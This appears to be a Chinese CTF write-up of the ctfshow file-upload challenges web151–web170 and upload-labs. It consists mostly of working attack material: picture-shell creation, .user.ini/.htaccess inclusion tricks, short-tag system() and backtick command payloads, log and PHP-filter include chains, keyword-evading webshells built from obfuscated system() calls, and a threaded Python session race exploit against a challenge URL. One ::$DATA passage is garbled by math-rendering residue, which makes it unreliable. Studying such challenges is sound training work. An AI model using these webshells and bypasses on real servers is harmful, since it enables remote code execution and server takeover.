准备了10几天的美亚杯,最后结果也是很满意的,拿到了一等奖,不过还是得继续学习web,冲冲冲!(全部重新截图有点麻烦,有的图借用了其他大佬的)
ctfshow
web151-web152
本题即绕过前端验证,只需上传一个png图片(图片马,普通图片需添加一句话),在burp截断时修改content-type为php即可绕过,再进入文件目录,利用命令执行得到flag
制作图片马的方法:
用一张小点的图片和一句话木马,利用copy命令生成图片马 copy 1.png/b+2.php/a 3.png
web153-web160(用.user.ini,对各种过滤的绕过)
对.user.ini以及.htaccess文件的介绍
auto_prepend_file=filename //包含在文件头 auto_append_file=filename //包含在文件尾
//.user.ini
auto_prepend_file=1.png //指向1.png
//1.png
<?php phpinfo();?>
//1.php(任意php文件)
需要三个文件都存在于同一目录下,相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含,依次上传即可
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
web153
1上传.user.ini.png后,将后缀png删除掉,指向目标确定为1.png 再上传一个普通图片马:其中内容为一句话 由于三个必须文件是在upload目录下,且目标网站当前目录下存在index.php文件(即网页的默认目录,\upload与\upload\index.php一致),所以需要进入upload目录下并进行命令执行,即可得到flag(flag.php在上层目录,需要 …/flag.php,也可以使用find命令查找flag: find / f*)
web154-web156(php被禁了)
可以上传.user.ini,但是上传图片的时候,后台识别不了文件名,会乱码
使用其他的方法绕过:
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '123'; </script> //不需要修改参数开关
使用短标签形式:<?=system("tac ../f*");?>
可以成功得到flag 使用同样的办法可以得到flag
web157-web158(过滤php ;)
(web154)的办法可以通过,但过滤了分号,把短标签后面的;去掉
短标签形式:<?=system("tac ../f*")?>
web159(过滤php ; () )
这里把()给过滤掉了,于是采用反引号实现绕过
短标签形式:
<?=`tac ../f*`?>
注意:PHP 支持一个执行运算符:反引号(``)。这不是单引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数 shell_exec()相同。但是,关闭了 shell_exec() 时反引号运算符是无效的
web160(过滤`` php ; () )
- 采用文件包含的手段:
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
直接进入upload目录即可看到base64加密的flag
- 还可以使用日志包含
在上传.user.ini的同时在user-agent中写入一句话 然后写入日志包含的内容:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
最后蚁剑连接即可:连接地址为upload目录即可(因为此目录下原本有个index.php)
这种方法的意思:在当前目录下的php文件中包含了1.png,而1.png的内容是日志(被写入了一句话)
web161(增加了文件头的识别)
这里无法直接使用文件包含的手段读取flag,使用了函数getimagesize()进行过滤,这里上传图片马是不可以的
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
只需要在传入文件包含语句时,在上面加上一段图片的标识即图片头:GIF89a
web162-web163(session竞争)
把 . 给过滤了,日志包含等都无法实现,只能使用session文件竞争 首先上传一个.user.ini
GIF89a auto_prepend_file=“png”
再上传文件
GIF89a <?=include"/tmp/sess_ctfshow"?>
最后使用exp:可惜没跑出来
import io
import requests
import threading
url = 'http://9bb9ff09-db3f-4fa6-9a13-48a52e7eb10f.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
while True:
f = io.BytesIO(b'GIF89a\nctfshow')
files = {'file': ('1.png', f, 'image/png')}
response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
while True:
response = session.get(url+'upload/')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
web164-web165(待实现)
web166(本题对上传文件进行了限定)
将一句话php文件修改后缀为zip文件上传,得到生成下载的文件: 再利用文件包含,使用post参数执行命令得到flag
web167(.htaccess)
本题提示https,尝试apache解析漏洞,但不成功,于是更换apache服务器特有的 .htaccess文件,将所有的jpg图片解释为php文件
Apache解析漏洞: Apache,会将1.php.bak解析为php。原理是从后往前解析。 遇到认识的,才会解析,文件定义在mime.types中 会将php3,php4,php5,phtml,pht解析为php
htaccess文件内容修改为:
AddType application/x-httpd-php .jpg
或者
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传内容为一句话木马的图片 命令执行即可得到flag
web168(免杀)
该题后台对上传文件内容进行了很多函数,关键字的过滤,需要上传免杀马
三个免杀马如下,参数为 1 :
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
上传图片马或者普通图片都可以:
利用内存马中的参数进行命令执行
web169-web170(.user.ini日志包含,过滤了<>,php)
本题过滤了php以及<> ,无法使用反引号,文件包含等方法,但是可以使用日志包含
前端限制了zip文件,上传zip文件后,修改content-type:image/png(该类型可以指定很多文件,比如php等),修改user-agent内容为一句话,再执行上传的.user.ini文件指向日志
由于当前目录下没有php文件,于是在上传一个php文件,内容自定即可 意思是:.user.ini指向日志文件,且在php文件中包含日志文件
最后蚁剑连接php文件,即可找到flag
下面是一些对于upload-labs的补充:
基本上传文件格式:1.php
- 大小写绕过:1.PHP
- 双写绕过:1.pphphp(过滤了一次php)
- 空格绕过: 1.php空格
::$DATA绕过:1.php::$DATA
在php+windows的情况下:如果文件名+"::
D
A
T
A
"
会
把
:
:
DATA"会把::
DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::
D
A
T
A
"
之
前
的
文
件
名
。
利
用
w
i
n
d
o
w
s
特
性
,
可
在
后
缀
名
中
加
”
:
:
DATA"之前的文件名。利用windows特性,可在后缀名中加” ::
DATA"之前的文件名。利用windows特性,可在后缀名中加”::DATA”绕过
条件: 文件上传后会在其文件名后添加随机数以混淆文件名, php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
字典生成器github地址
小结: 遇上文件上传先用判断环境,利用文件上传字典生成一段字典爆破,不行的尝试ctfshow的办法
|